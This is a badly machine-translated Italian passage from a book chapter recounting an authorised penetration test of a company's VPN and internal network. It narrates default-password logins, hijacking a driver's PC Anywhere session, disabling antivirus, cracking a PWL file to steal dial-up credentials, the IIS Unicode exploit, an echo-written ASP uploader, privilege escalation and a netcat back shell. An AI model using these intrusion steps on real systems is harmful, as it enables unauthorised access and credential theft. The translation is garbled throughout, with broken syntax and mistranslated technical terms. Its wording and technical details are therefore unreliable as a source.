Quando hanno cercato di connettersi ad esso, sono tornati una richiesta di login nome e password. Così avevano ragione che la porta è stata utilizzata per servizio telnet - ma la finestra di dialogo per l'autenticazione degli utenti è stata molto diversa rispetto a quella presentata da un servizio telnet Cisco. "Dopo un po ', abbiamo identificato esso come alcuni dispositivi 3Com. Questo allora veramente ottimizzato il nostro entusiasmo per il lavoro perché non è spesso trovato una scatola di Cisco che assomiglia a un altro dispositivo, o trovare qualche altro servizio elencato su una porta TCP alto. "Ma il fatto che il servizio telnet sulla porta 4065 correva come un dispositivo 3Com non ha senso per loro.

Avevamo due porte aperte su un dispositivo e hanno identificato loro stessi come dispositivi completamente diversi da parte completamente diversa produttori.

Brock trovò l'alta porta TCP e collegato ad esso tramite telnet.

"Una volta ottenuto un log-in rapido, ho gridato di nuovo a provare *di amministrazione* [per il dall'utente

nome], con i soliti sospetti password come *password admin*, e *vuoto*.

Ha provato diverse combinazioni di questi tre come il nome utente e la password Parola, e ha colpito l'oro dopo pochi tentativi: il nome utente e la password sul dispositivo 3Com erano entrambi *di amministrazione* . "A quel punto ha gridato che ha ottenuto in ", ha detto Louis, il che significa che ora erano in grado di ottenere telnet l'accesso al dispositivo 3Com. Il fatto che si trattava di un amministrativo account è stato la ciliegina sulla torta.

Una volta che abbiamo indovinato la password, è stato il primo in alto sul lavoro.

Era un po 'il woo-hoo standard. Stavamo lavorando a differenza workstation Ent. Inizialmente, mentre stavamo facendo la rete e scansione di enumerazione, eravamo sulle nostre macchine e condividendo informazioni tra di noi. Ma una volta trovata la porta che dava lui l'accesso a tale prompt di login, sono andato verso la sua macchina e abbiamo cominciato a lavorare insieme, sia a stessa macchina.

E 'stato fantastico. E 'stato un dispositivo 3Com e abbiamo ottenuto l'accesso alla console ad esso e forse ci aveva ricevuto un viale per indagare ciò che può fare.

L'arte dell'intrusione

La prima cosa che volevamo fare era di trovare esattamente ciò che il Dispositivo 3Com era, e perché era accessibile su una porta TCP alto sul router Cisco.

Tramite l'interfaccia a riga di comando, sono stati in grado di interrogare mazioni mazioni sul dispositivo. "Abbiamo pensato che forse qualcuno aveva tappato il cavo console da questo dispositivo 3Com nel dispositivo Cisco e inadvertently abilitato l'accesso. "Questo avrebbe senso, come un modo conveniente i dipendenti potrebbero telnet nel dispositivo 3Com attraverso il router.

«Forse non c'erano abbastanza monitor o tastiere nei dati

Centro, "Louis indovina, e avevano giuria-brogli un cavo come temporanea risolvere. Quando il bisogno era finita, l'amministratore che ha infilato il cavo aveva dimenticato tutto. Si era allontanato, Louis figurato, "abbastanza inconsapevole delle conseguenze delle sue azioni. "

Guardando la configurazione del dispositivo 3COM

I ragazzi ormai capito che il dispositivo 3Com era dietro il firewall muro, e questo errore dell'amministratore aveva fornito un percorso tortuoso, rendendo possibile per un utente malintenzionato di collegare dietro il firewall attraverso l'alta porta aperta.

Ora che avevano accesso alla console 3COM, hanno guardato il record di configurazione, compreso l'indirizzo IP assegnato dell'unità, e protocolli utilizzati per la connettività di rete privata virtuale. Ma visualizzato coperto che il dispositivo anche seduto sulla stessa gamma indirizzo di posta server e al di fuori di un firewall interno, sulla DMZ. "Abbiamo concluso che in realtà era seduto dietro il firewall perimetrale ed era protetto da Internet utilizzando una sorta di regole di filtraggio ".

Hanno cercato di guardare la configurazione del dispositivo stesso per vedere come le connessioni in entrata sono stati istituiti, ma attraverso l'interfaccia si non poteva ottenere abbastanza informazioni. Eppure, hanno indovinato che, quando un utente collegato alla porta 4065 sul router Cisco da qualche parte sulla Internet, la connessione è stata probabilmente stato fatto al dispositivo 3Com che è stato inserito nel router Cisco.

Quindi a questo punto eravamo molto fiduciosi che noi stavamo per essere in grado di ottenere l'accesso alle reti di back-end e di ottenere un maggiore controllo sulla rete interna. A questo punto, siamo stati in molto buono spiriti ma quello che gli inglesi chiamano "pretty fagged," avendo già mettere in l'equivalente di due giorni lavorativi pieni.

Capitolo 9 Sul continente

201

Siamo andati al pub e parlato di come il giorno dopo stava andando per essere grande, perché stavamo andando a quindi iniziare a guardare un po ' più sistemi terminali e tipo di trovare il nostro modo più profondo nella rete.

Curioso di questo dispositivo 3Com, che avevano creato per catturare il reale log console tempo. Se ogni attività è accaduto durante la notte, che sarebbe in grado per vedere quando sono venuti la mattina successiva.

Il Terzo Giorno

Quando Brock ispezionato il log della console del mattino, ha trovato che Var-Gli indirizzi IP ious erano arrivati. Louis ha spiegato:

Dopo una visita alla periferica 3COM un po 'di più, ci siamo resi conto era una sorta di VPN che gli utenti remoti stavano usando per la connessione alla rete aziendale da qualche parte su Internet.

A questo punto, siamo stati sicuramente entusiasti che avremmo avuto a

accedere, nello stesso modo che gli utenti legittimi stati GAIN-ing accesso.

Hanno cercato di creare la propria interfaccia VPN personale sul 3COM dispositivo portando un'altra interfaccia sulla scatola 3COM, con una dif-indirizzo ferenti IP, uno che il firewall non è stato esplicitamente filtrando. Non ha funzionato. Essi hanno scoperto che il dispositivo non può essere configurato senza interrompere i servizi legittimi. Non potevano far apparire una identificazione mente configurato il sistema VPN, e il modo in cui l'architettura è stato istituito, è limitato abbastanza in modo che non potevano fare quello che volevano.

Quindi questo viale di strategia di attacco svanì rapidamente.

Siamo rimasti un po' giù, un po' tranquillo, a questo punto. Ma era molto il caso che è il primo tentativo e Certamente

essere un altro modo. Avevamo ancora un incentivo sufficiente, abbiamo avuto ancora accesso a questo dispositivo; avevamo ancora che appiglio. Siamo diventati tipo di intenso sulla presa questa cosa un po' più lontano.

Erano nella DMZ della rete della compagnia, ma quando hanno provato ottenere collegamenti verso i propri sistemi, sono stati ostacolati. Essi anche provato a fare un ping sweep (cercando di eseguire il ping ogni sistema sulla rete lavoro) sull'intera rete, ma dal sistema 3COM dietro la firewall, per individuare eventuali potenziali sistemi per aggiungere alla loro lista di destinazione. Se

erano gli indirizzi delle macchine nella cache, significava che qualche dispositivo era bloccando l'accesso al protocollo di livello superiore. "Dopo diversi tentativi,"

Louis ha detto, «abbiamo fatto vedere le voci nella cache ARP, indicando che alcuni L'arte dell'intrusione

202

macchine avevano trasmesso loro indirizzo macchina ". (ARP, l'indirizzo Resolution Protocol, è un metodo per trovare l'indirizzo fisico di un host dal suo indirizzo IP. Ogni host mantiene una cache di traduzioni di indirizzi per ridurre il ritardo nella trasmissione di pacchetti di dati.)

Quindi c'erano sicuramente altri computer del dominio ", ma [che] non erano risponde ai ping -. che è un classico segno di un firewall "

(Per chi non ha familiarità con il *pinging* , è una tecnica di scansione in rete che coinvolge trasmettere determinati tipi di pacchetti - controllo Internet Message Protocol, o ICMP - al sistema di destinazione per determinare se l'host è "vivo", o verso l'alto. Se l'host è vivo, si risponde con un pacchetto "ICMP echo reply".) Louis continua: "Questo sembrava con-rassodare la nostra impressione che ci fosse un altro firewall, c'era un altro livello di sicurezza tra il dispositivo 3Com e la loro rete interna. "

Louis cominciava a sentire di aver raggiunto un vicolo cieco.

Abbiamo avuto accesso a questo dispositivo VPN, ma non siamo riusciti a creare il nostro VPN attraverso di essa. A quel punto, i livelli di entusiasmo è andato giù un po'. Abbiamo tipo di iniziato ad avere la sensazione che non siamo in realtà andando a prendere ulteriormente in rete. E così siamo necessario per brainstorming di idee.

Hanno deciso di indagare gli indirizzi IP che avevano scoperto nel registro console. "Abbiamo tipo di visto che il passo successivo è stato quello di avere uno sguardo e vedere che cosa è stato a distanza comunicando a questo dispositivo 3Com, perché

se si potrebbe rompere in quel dispositivo, si potrebbe essere in grado di dirottare un'esistente connessione alla rete. "O potrebbero essere in grado di ottenere le credenziali di autenticazione necessarie per farsi passare come un utente legittimo. Sapevano alcune delle regole di filtraggio, Louis ha detto, e stavano cercando modi di aggirare queste regole sul firewall. La sua speranza era che sarebbero in grado di "trovare sistemi che erano grande e forse aveva la leva per in realtà passare attraverso questo firewall. Gli indirizzi IP che salivano erano di grande interesse per noi. "

Quando sono stati collegati alla console di sistema 3COM, ha spiegato, ogni volta è stato fatto un utente remoto connesso o un cambiamento di configurazione, lampeggiato di un messaggio di avviso nella parte inferiore dello schermo. "Siamo stati in grado per vedere le connessioni in corso in questi indirizzi IP. "

I record di registrazione in dettaglio l'organizzazione che particolare IP indirizzi sono stati registrati a. Inoltre, questi record si trovano anche le informazioni di contatto per il personale amministrativo e tecnico responsabilità BLE per la rete dell'organizzazione. Usando questi indirizzi, che ancora una volta rivolto ai record del database di registrazione su RIPE, che ha dato loro informazioni su quale compagnia questi indirizzi IP sono stati assegnati a.

Capitolo 9 Sul continente

203

In realtà, questa ricerca ha portato un'altra sorpresa. "Abbiamo trovato gli indirizzi sono stati registrati ad un grande provider di telecomunicazioni in questo partito-Paese colare. A questo punto non abbiamo potuto mettere completamente tutto insieme, abbiamo non poteva davvero capire che cosa questi indirizzi IP sono stati, perché la gente sono stati di collegamento da una società di telecomunicazioni ", ha detto Louis, con gli inglesi termine per quello che noi chiamiamo un ISP. I due ragazzi hanno cominciato a chiedersi se la VPN connessioni erano anche da utenti remoti della società, o qualcosa del genere del tutto diverso che non potevano in questo momento, anche indovinare.

Eravamo molto dove abbiamo bisogno di sedersi e avere una vera e propria deposito del cervello. Avevamo bisogno di davvero mettere insieme questa immagine in modo da può effettivamente iniziare a cercare di capire.

La promessa del primo mattino non era stato rispettato. Abbiamo avuto accesso al sistema, ma tuttavia non abbiamo riescono ad ottenere ulteriormente, e sembrava che non avevamo fatto alcun progresso durante il giorno. Ma invece di scomparire a casa e tipo di ritorno nella

mattina successiva e raccogliere lì, abbiamo pensato di andare al Pub, bere un drink e il tipo di de-stress e cancellare le nostre teste prima abbiamo ottenuto sui mezzi pubblici e facemmo il nostro modo a casa.

Questa è stata la primavera precoce con un po 'di nip in aria. Noi lasciato l'ufficio e andò dietro l'angolo di una sorta di piuttosto buio e squallida tradizionale pub inglese.

Bevevo lager, Brock stava bevendo grappa pesca e limonata - un buon drink, si ought'a provare. E abbiamo appena genere di lì seduto e chiacchierato e commiserata tra noi con come il giorno non era andato come previsto. Dopo il primo drink eravamo un po 'più rilassato e un pezzo di carta e una penna uscirono.

Abbiamo appena iniziato buttare fuori alcune idee su ciò che eravamo andando a fare dopo.

Eravamo molto gentile desideroso di ottenere qualcosa di strutturato così quando abbiamo

tornato in mattinata. abbiamo potuto sedersi rapidamente e provare qualcosa. Abbiamo elaborato l'architettura di rete, come abbiamo mappato esso, e cercato di identificare ciò che gli utenti devono poter accedere VPN, dove i sistemi sono stati fisicamente situate, e la probabile passi del sistema esecutori pensato durante la configurazione di accesso remoto Ser-ghiaccio per questa azienda.

Abbiamo elaborato i sistemi noti e quindi da quel punto ha cercato di risolvere alcuni dei dettagli e dove alcuni degli altri sistemi si trovavano [Figura 9-1]. Avevamo bisogno di capire dove in la rete che dispositivo 3Com era situato.

L'arte dell'intrusione

204

Figura 9-1: Illustrazione di ciò che i due hacker pensiero potrebbe essere la configurazione, il che spiegherebbe quello che avevano osservato sulla rete e le operazioni.

Louis si chiese che oltre ai dipendenti interni potrebbe anche essere necessario avere accesso a questa rete. Questa era una società orgogliosa della sua tecnologia iCal, così Louis e Brock pensato che forse avevano sviluppato un "davvero grande applicazione di distribuzione" che permetta a guardie login dopo aver fatto una consegna, e poi scoprire che cosa il loro prossimo pickup sarebbe. Questa applicazione può essere stato programmato per fare il processo a prova di idiota attraverso l'automazione. Forse il conducente avrebbe fare clic su un'icona, che avrebbe detto l'applicazione per collegarsi alla domanda Server zione ed ottenere i suoi ordini.

Pensavamo che questi driver non stanno per essere molto computer savvy, che stanno andando ad avere un sistema di set up che è molto facile da usare. Abbiamo iniziato a pensare che da un punto di Vista: Che tipo di sistema sarebbe facile da installare, che tipo di sistema sarebbe di facile manutenzione e sarebbe sicuro?

Pensavano di un servizio di dial-up ", forse da un computer portatile in cabina [vano del conducente]. E l'azienda dovrebbero o

Tutte le patch
Esterno
Mail Server
Tutte le patch
Esterno
Server Web
Firewall
3Com VPN
terminator
Cisco Router
Fornire IP
Filtering
DMZ Network
Senza patch
Web IIS
Server
Primario
Dominio
Controllore

Rete interna
RADIUS Server
Applicazione
Server
PPTP VPN Session
Telecoms Provider
Stazione base del telefono cellulare
Sicurezza Van
Laptop
Bank of
Modem
Brock
Louis
Internet
Capitolo 9 Sul continente
205

deve gestire questi server che avevamo ottenuto in, o avrebbero dovuto li esternalizzare con una terza parte. Abbiamo ipotizzato che la terza parte era una società di telecomunicazioni, e le informazioni dovrebbe passare dal società di telecomunicazioni alla nostra azienda di destinazione, e che dovevano passare il Internet tramite un tunnel VPN. "Hanno ipotizzato che le guardie rimetterebbe in ISP e autenticazione lì, prima di poter collegarsi alla rete della società bersaglio.

Ma c'era anche un'altra possibilità. Louis continuò:

Abbiamo ipotizzato, "Vediamo se siamo in grado di elaborare un architettura per cui un ragazzo in un furgone può chiamare, passare il suo Creator autenticazione dentials attraverso e sono effettivamente autenticati dal target società piuttosto che il fornitore di telecomunicazioni. Come poteva che com-società VPN essere impostato in modo che tutte le informazioni di essere passata da la guardia per la società target non sarebbe andato in chiaro in tutta Internet? "

Hanno anche pensato a come la società stava andando su autenticazione utenti colata. Se una guardia deve selezionare fino a uno di questi sistemi situati la società di telecomunicazioni e l'autenticazione alla società di telecomunicazioni, che motivato, quindi i servizi di autenticazione sono stati semplicemente di essere esternalizzati. Forse c'era un'altra soluzione, hanno pensato, per cui l'autenticazione server zione sono stati effettivamente ospitati dalla società target piuttosto che il fornitore di telecomunicazioni.

Spesso l'attività di autenticazione è spacciato per un server separato che PROVIDES questa funzione. Forse il dispositivo 3Com è stato utilizzato per accedere a un server di autenticazione sulla rete interna della società target.

Chiamare da un modem cellulare, una guardia dovrebbe connettersi al provider di servizi Internet, sia

passati al dispositivo 3Com, e il suo nome utente e password sarebbe poi essere espulso per l'altro server per l'autenticazione.

Quindi la loro ipotesi di lavoro a questo punto era che quando una guardia avviato una connessione dial-up, ha stabilito una VPN tra sé e il dispositivo 3Com.

Louis e Brock capito che per ottenere l'accesso alla rete interna, che

prima dovuto accedere al sistema di telecomunicazioni al ISP che i driver van connessi. Ma "una cosa che non sapevamo era il i numeri di telefono di questi dispositivi dial-up. Si trovavano in una straniera paese e noi non sapevamo che tipo di linee telefoniche erano, e noi non ha avuto molte possibilità di scoprire che le informazioni da soli. Il grande cosa che sapevamo era che il tipo di protocollo per la VPN PPTP è stato. " Il motivo di questo è stato significativo perché di default installazione di Microsoft VPN mento utilizza solo un segreto condiviso, che di solito è il login di Windows e password al server o dominio.

L'arte dell'intrusione

206

Avevano avuto un paio di drink di questo tempo, e hanno deciso una "no-esclusione di colpi approccio "per risolvere il problema.

In questa fase si sta andando a mantenere questo pezzo di carta che hai scrib-sanguinato tutta questa roba sul perché questo potrebbe essere davvero un buon trucco se otteniamo in. E c'era quasi un senso di orgoglio tra i due di noi su come stavamo andando a realizzare questo.

Alcune riflessioni su "Intuition" Hackers "

L'ipotesi la coppia ha fatto quella notte sarebbe rivelarsi abbastanza preciso.

Louis osservato su questa intuizione che i buoni hacker sembrano avere:

E 'molto difficile spiegare quello che ti fa avere quella sensazione. E 'solo proviene da esperienze e guardando il modo in cui i sistemi sono configurato.

Brock, in una fase molto precoce, appena ricevuto la sensazione che dovremmo andare avanti con questa cosa perché pensava che stavamo andando a ottenere

Un risultato dalla ricerca; è molto difficile da spiegare. Hacker di l'intuizione?

Vedete piccoli pezzi di informazioni, e di come stanno le cose formulate, e si inizia ad avere un po 'di una visione del com-società e le persone che sono responsabili dei sistemi informatici. E c'era tipo di questo sentimento che sapevano sulla sicurezza ma che forse stanno facendo qualcosa di un po 'sbagliato.

Il mio punto di vista del soggetto è che gli hacker ottenere un'idea di come rete opere e sistemi sono in genere configurati in ambiente business

semplicemente rovistando. Con l'esperienza, si guadagna la consapevolezza di come

Gli amministratori e gli esecutori di sistema pensano. E 'come una partita a scacchi, in cui si sta cercando di outthink o superare in astuzia il tuo avversario.

Quindi credo che cosa in realtà è in gioco qui è basato sull'esperienza di come stema

Gli amministratori tem creazione di reti e gli errori più comuni che fanno.

Forse Louis era proprio all'inizio del suo intervento sul tema:

Quello che alcuni chiamano intuizione è meglio etichettata *esperienza*.

Il quarto giorno

La mattina dopo, quando sono venuti in, si sedeva e guardava la

CONSOLE accedere al dispositivo 3Com, in attesa per le persone a collegare fino. Ogni volta che qualcuno ha fatto, nel più breve tempo possibile, si porta a scansione l'indirizzo IP che stava facendo una connessione in ingresso.

Capitolo 9 Sul continente

207

Essi hanno scoperto che queste connessioni si avvicinarono per forse un minuto o giù di lì e poi staccato. Se avevano ragione, una guardia sarebbe quadrante in, raccogliere il suo ordine di lavoro, poi tornare subito in linea di nuovo. Il che significava che avrebbero dovuto muoversi molto rapidamente. "Quando abbiamo visto questi indirizzi IP lampeggiano up, ci piacerebbe davvero BASH il sistema client duro, "ha commentato Louis, utilizzando" bash " nel senso di martellamento i tasti con adrenalina esecuzione, come in gioco un gioco per computer emozionante.

Sono venuti fuori alcune porte per i servizi che potrebbero essere vulnerabili, tramoggia ing di trovare uno che potrebbe essere attaccato, come un server telnet o FTP, o un server Web non sicuro. O forse si potrebbe ottenere l'accesso alle condivisioni aperte NetBIOS su. Hanno anche cercato desktop remoto basato su GUI programmi, come WinVNC e PC Anywhere.

Ma come la mattina si trascinò, non potevano vedere tutti i servizi in esecuzione di là di un paio di host.

Non siamo stati davvero andando da nessuna parte, ma ci siamo seduti lì e mantenuto scansione ogni volta che un utente remoto collegato. E poi uno la macchina collegata. Abbiamo fatto una scansione delle porte e abbiamo trovato una porta aperta normalmente utilizzati per PC Anywhere.

Il PC applicazione Anywhere permette di prendere il controllo di un computer in remoto. Ma questo è possibile solo quando l'altro computer è anche running il programma.

Vedendo che la porta si presentò sulla scansione delle porte, si era un po' questo rinnovato senso di entusiasmo - "Ah, c'è PC Anywhere su questo scatola. Questo potrebbe essere una delle macchine degli utenti finali, diamo davvero andare con questo. "

Ci urlavano circa il luogo, "Chi ha PC Anywhere installato !? "

Qualcuno gridò, "Ho PC Anywhere." Così ho gridato il Indirizzo IP in modo da poter collegare al sistema il più rapidamente possibile.

Louis chiamato lo sforzo di collegarsi ad un PC Anywhere sistema "molto definizione momento. "Si è unito l'altro ragazzo alla sua macchina come una finestra apparso sullo schermo. "E 'un primo fondo nero", ha detto Louis, "E una delle due cose succede - sia una richiesta della password è grigio visualizzato, o lo sfondo diventa blu e un desktop di Windows viene in vista. "

L'opzione desktop è quello che tenevamo i nostri respiri per.

Sembrava un'eternità in attesa per lo schermo nero

L'arte dell'intrusione

208

scompaiono. Continuavo a pensare a me stesso, "E 'il collegamento, è con-collegando, sta andando a timeout. "Oppure:" Vado a ottenere una password pronta. "

Proprio all'ultimo secondo, quando ho pensato "Ecco che arriva la password parola pronta, "era il desktop di Windows! Wow! Abbiamo un desktop a questo punto. Tutti gli altri in camera è venuto a guardare.

La mia reazione è stata: "Ci risiamo, cerchiamo di davvero ottenere una sospensione di questo, cerchiamo di non perdere questa opportunità. "

Così erano ormai con successo nel client che collegato al Dispositivo 3Com.

A questo punto, abbiamo pensato che fosse uccidere o essere ucciso - sapevamo che queste persone sono state collegando per pochissimo tempo e sapevamo potremmo non avere un'altra occasione.

La prima cosa da fare è stato quello di aprire la sessione di PC Anywhere e colpito due pulsanti sullo schermo, che Louis denominato "Blank schermo pulsante . ton "e il" Bloccare l'utente dal pulsante di console ", ha spiegato:

Quando si utilizza il PC Anywhere, per impostazione predefinita sia la persona al tavolo della macchina e la persona che utilizza PC Anywhere possono avere accesso al mouse e spostarlo sulla schermata per eseguire applicazioni o file aperti, e così via. Ma con PC Anywhere si può effettivamente bloccare l'utente alla tastiera.

Lo hanno fatto, ottenendo il controllo della sessione, anche fare in modo che l'utente non poteva vedere cosa stessero facendo perché avevano oscurato il suo schermo.

Louis sapeva che non ci sarebbe voluto l'utente lungo per ottenere sospetti o pensare ha avuto un problema al computer, e spegnere la macchina verso il basso, il che significa che i ragazzi non hanno molto a lungo.

Stavamo ora cercando di salvare la nostra possibilità di arrivare finalmente in. A questo punto, abbiamo dovuto pensare rapidamente in piedi tra di noi a decidere quello che stavamo andando a provare il prossimo, e quali informazioni preziose potremmo ricavare da questa macchina.

Ho potuto vedere che la macchina era in esecuzione Microsoft Windows 98 e così quello che dovevamo fare era trovare qualcuno che potesse dire cosa informazioni che potrebbero uscire da una macchina Windows 98.

Fortunatamente, uno di questi ragazzi nella stanza. . . era stato tipo di prendere un interesse, questo ragazzo non è stato effettivamente lavorando nostro project, ma sa come ottenere sistemi informativi off.

Capitolo 9 Sul continente

209

La prima cosa che ha suggerito stava guardando la lista delle password (PWL) file. (Questo file, utilizzato in Windows 95, 98, e ME, contiene sensibile informazioni come dial-up e le password di rete. Ad esempio, se si utilizzare connessione remota in Windows, tutti i dettagli di autenticazione, compreso il numero dial-up, il nome utente e la password, sono probabilmente memorizzati in un file PWL.)

Prima di scaricare il file, hanno dovuto disattivare il software antivirus quindi non sarebbe rilevare gli strumenti che stavano usando. Poi hanno cercato con il capacità di documento trasferimento PC Anywhere per trasferire il file PWL dalla macchina di guida a se stessi. Non ha funzionato. "Non siamo stati so perché, ma non ha avuto il tempo di sedersi intorno e discuterne. Abbiamo dovuto prendere le informazioni PWL questa macchina immediatamente, mentre l'autista era ancora in linea ".

Che altro potevano fare? Una possibilità: caricare un tool di cracking, crepa il file PWL *sulla macchina del conducente* ed estrarre le informazioni in un file di testo, e quindi inviare il file di testo a se stessi. Hanno cercato di accedere in un server FTP per scaricare lo strumento PWL craking. Ma hanno realizzato un difficoltà: Le mappature di tastiera sulla macchina del conducente fosse per il for-lingua eign, che spiegherebbe i problemi che stavano avendo

cercando di autenticazione. "Abbiamo mantenuto sempre un messaggio di 'Login errato' a causa delle mappature di tastiera straniera. "

L'orologio è stato ticchettare.

Abbiamo pensato che il nostro tempo sarebbe stato alto. Seduta di questo tipo in un van sicurezza, potrebbe essere trasportava un sacco di soldi, o forse prigionieri. Si sta chiedendo a se stesso, "Che diavolo sta succedendo qui? "

Ho paura che stia per staccare la spina prima di ottenere ciò che vogliamo.

Qui erano, di fronte a una crisi di tempo enormemente sotto pressione, e nessuno dei ragazzi nella stanza aveva una risposta per il problema estera tastiera.

Forse come soluzione potrebbero inserire il nome utente e la password in Codice ASCII invece di lettere e numeri reali. Ma nessuno sapeva off-mano come inserire i caratteri con il codice ASCII equivalente.

Allora, che cosa fare chiunque nel mondo di oggi, quando hanno bisogno di una risposta in fretta? Questo è ciò che Louis e Brock ha fatto: "Abbiamo optato per saltare a Internet e fare qualche ricerca per trovare un modo di entrare lettere ritirata utilizzando le lettere sulla tastiera. "

In breve tempo, hanno avuto la loro risposta: Attivare il tasto Bloc Num, quindi tenere premuto il tasto <Alt> e digitare il numero del carattere ASCII il tastierino numerico. Il resto è stato facile:

L'arte dell'intrusione

210

Abbiamo spesso bisogno di tradurre lettere e simboli in ASCII e viceversa. E 'semplicemente un caso di stare in piedi e guardando uno dei i nostri fogli presepe utili che abbiamo sulle pareti.

Invece di immagini di pinup ragazze, questi ragazzi avevano tabelle ASCII sulla pareti. "Pinups ASCII," Louis li descrivono.

Con un po 'di scarabocchi giù di informazioni, e un ragazzo di battitura al tastiera mentre l'altro gli leggere cosa tipo, sono entrati con successo il nome utente e la password. Sono stati quindi in grado di trasferire il PWL screpolature strumento ed eseguirlo per estrarre le informazioni dal file PWL in un file di testo, che poi trasferiti fuori computer portatile del conducente di un FTP Server sotto il loro controllo.

Quando Louis esaminato il fascicolo, ha trovato le credenziali di autenticazione egli aveva cercato, tra cui il numero di accesso remoto e l'accesso mazioni zioni utilizzato dal conducente durante la connessione a VPN aziendale servizio. Questo, pensò Louis, era tutte le informazioni di cui aveva bisogno. Mentre la pulizia per essere sicuri che non ha lasciato alcuna traccia della loro visita, Louis ispezionato le icone sul desktop e notò uno che sembrava essere per l'applicazione in fase di esecuzione per le guardie per raccogliere la loro informazione da parte della società. E quindi sapevano che queste macchine erano, in Infatti, il collegamento attraverso la società e l'interrogazione di una domanda server per ottenere le informazioni necessarie dai piloti in campo.

Accesso Sistema della Società

"Siamo stati molto consapevoli," Louis ricordato, "che l'utente può essere ora l'attività di reportistica strano, quindi abbiamo estratto noi stessi dalla situazione. Perché se questo incidente ottenuto segnalato e il servizio VPN ottenuto chiuso, allora le nostre credenziali di accesso non varrebbero nulla. "

Un paio di secondi dopo, hanno notato che il loro PC Anywhere con-

collegamento caduto - la guardia aveva staccato. Louis e l'equipaggio avevano estratte le informazioni dal file PWL appena in tempo.

Louis e Brock ora ha avuto un numero di telefono, che si aspettavano di essere per uno dei dispositivi dial-up che avevano disegnato sulla loro diagramma nel pub la sera prima. Ma ancora una volta, è stato il numero straniera. Utilizzando Windows Sistema dello stesso tipo che la guardia aveva usato, si composti fino a rete aziendale, è entrato il nome utente e la password e "Noi scoperto che abbiamo stabilito con successo una sessione VPN. "

Il modo in cui la VPN è stato configurato, che hanno dato un indirizzo IP virtuale all'interno DMZ della società, quindi erano dietro il primo firewall, ma ancora di fronte al firewall di guardia la rete interna che in precedenza scoperto.

Capitolo 9 Sul continente

211

Pagina 233

Questo indirizzo IP assegnato dal VPN era sul campo di DMZ ed era probabile fiducia da alcune macchine della rete interna. Louis prevede che penetrando la rete interna sarebbe molto, molto più facile, poiché aveva ottenuto oltre il primo firewall. "A questo punto", dice, "ci aspettavamo sarebbe facile ottenere attraverso il firewall, nelle reti interne ". Ma quando ha cercato, ha scoperto che non poteva entrare direttamente a un sfruttabili servizio sulla macchina che esegue il server delle applicazioni. "C'è stato un molto strano porta TCP che è stato consentito attraverso il filtraggio, che abbiamo indovinato sia per l'applicazione che le guardie stavano usando. Ma non sapevamo come ha funzionato. "

Louis voleva trovare un sistema di rete interna dell'azienda che essi potevano accedere dall'indirizzo IP che era stato assegnato. Lui ha adottato le "regole di hacker soliti" per cercare di trovare un sistema che potevano sfruttare sulla rete interna.

Speravano di trovare un sistema all'interno della rete che era mai accessibile da remoto, sapendo che probabilmente non essere patchato contro queste vulnerabilità, dal momento che era "più probabilità di essere trattato come un uso interno-unico sistema. "Hanno usato un port scanner per la ricerca di qualsiasi accessorio Server sibile Web (porta 80) su tutta la gamma indirizzo IP del inter-rete nal, e ha trovato un server Windows che potevano comunicare in esecuzione Internet Information Server (IIS), ma una versione precedente del software server popolari - IIS4. Che era una grande notizia, dal momento che erano probabilità di trovare un po 'di vulnerabilità o di configurazione errore senza patch che avrebbe dato loro le chiavi del regno.

La prima cosa che hanno fatto è stato quello di eseguire un rilevamento vulnerabilità Unicode strumento contro il server IIS4 per vedere se era vulnerabile, ed è stato.

(Unicode è un set di caratteri a 16 bit per la codifica dei caratteri da molte lingue di- con un unico set di caratteri). "Così siamo stati in grado di utilizzare il Unicode exploit per eseguire comandi sul server Web IIS, "sull'utilizzando vulnerabilità di sicurezza in un sistema dopo il secondo firewall filtrante sulla loro rete interna ", nel profondo di fiducia territorio, per così dire," in La descrizione di Louis. Gli hacker in questo caso realizzati una richiesta Web (HTTP) che usato questi personaggi appositamente codificati per aggirare la rezza controlli rezza del server Web, che consente loro di eseguire com- arbitraria comandi con gli stessi privilegi dell'account del Web server

correndo sotto.

Bloccato perché non avevano la possibilità di caricare file, ora vedevano un'opportunità. Hanno usato la vulnerabilità Unicode per eseguire il "echo" il comando shell di caricare un Active Server Pages (ASP) script - una semplice file di uploader che ha reso facile trasferire strumenti di hacking più di una directory sotto il webroot che è stato autorizzato a eseguire gli script lato server.

L'arte dell'intrusione

212

(Il webroot è la directory principale del server Web, come distinta dalla directory principale di un particolare disco rigido, ad esempio C: \) L'eco comando scrive semplicemente argomenti passati ad esso; l'uscita può essere reindirizzato a un file invece di schermo dell'utente. Ad esempio, digitando "echo di proprietà> mitnick.txt "scriverà la parola" proprietà "nel file mitnick.txt. Hanno usato una serie di comandi echo di scrivere il codice sorgente di un Script ASP in una directory eseguibile sul server Web.

Hanno poi caricati altri strumenti di hacking, compresa la rete popolare lavora netcat strumento, che è un programma di utilità molto utile per la creazione di un comando shell per l'ascolto su una porta in entrata. Essi hanno inoltre caricato un exploit strumento chiamato HK che sfruttava una vulnerabilità nella versione precedente di Windows NT di ottenere privilegi di amministratore di sistema.

Hanno caricato un semplice script per eseguire l'HK exploit e poi netcat utilizzato per aprire una connessione guscio posteriore a se stessi, consentendo loro per immettere i comandi al computer di destinazione, molto simile a ottenere un "DOS prompt "nei giorni del sistema operativo DOS. "Abbiamo cercato di avviare una connessione in uscita dal server Web interno al nostro computer DMZ ", ha spiegato Louis. "Ma questo non ha funzionato, quindi abbiamo dovuto usare un tecnica chiamata 'porto bargaining' ". Dopo aver eseguito il programma di HK privilegi di guadagno, hanno configurato netcat in ascolto sulla porta 80; a "chiatta" il server IIS allontanato temporaneamente, guardando per la prima entrata connessione alla porta 80.

Louis spiegato bargaining dicendo, "Tu essenzialmente spingere temporaneamente IIS fuori strada, per rubare un guscio, e consentire IIS di intrufolarsi di nuovo in al stesso tempo mantenere l'accesso al tuo guscio ". In Windows ambiente zione, a differenza dei sistemi operativi di tipo Unix, è consentito di avere due programmi utilizzano la stessa porta contemporaneamente. Un utente malintenzionato può assumere vantaggiosa

tage di questa caratteristica trovando una porta che non è filtrata dal firewall e poi "irrompere" sul porto.

Questo è ciò che Louis e Brock ha fatto. L'accesso alla shell che già avevano su l'host di IIS è stato limitato ai diritti consentiti al conto che il

Web server era in esecuzione sotto. Così correvano HK e netcat, e sono stati in grado per ottenere i privilegi di sistema - in esecuzione come utente del sistema, che è il privilegio più alto del sistema operativo. Utilizzando metodo- serie Gies, questo accesso permetterebbe loro di ottenere il pieno controllo del target del Ambiente Windows.

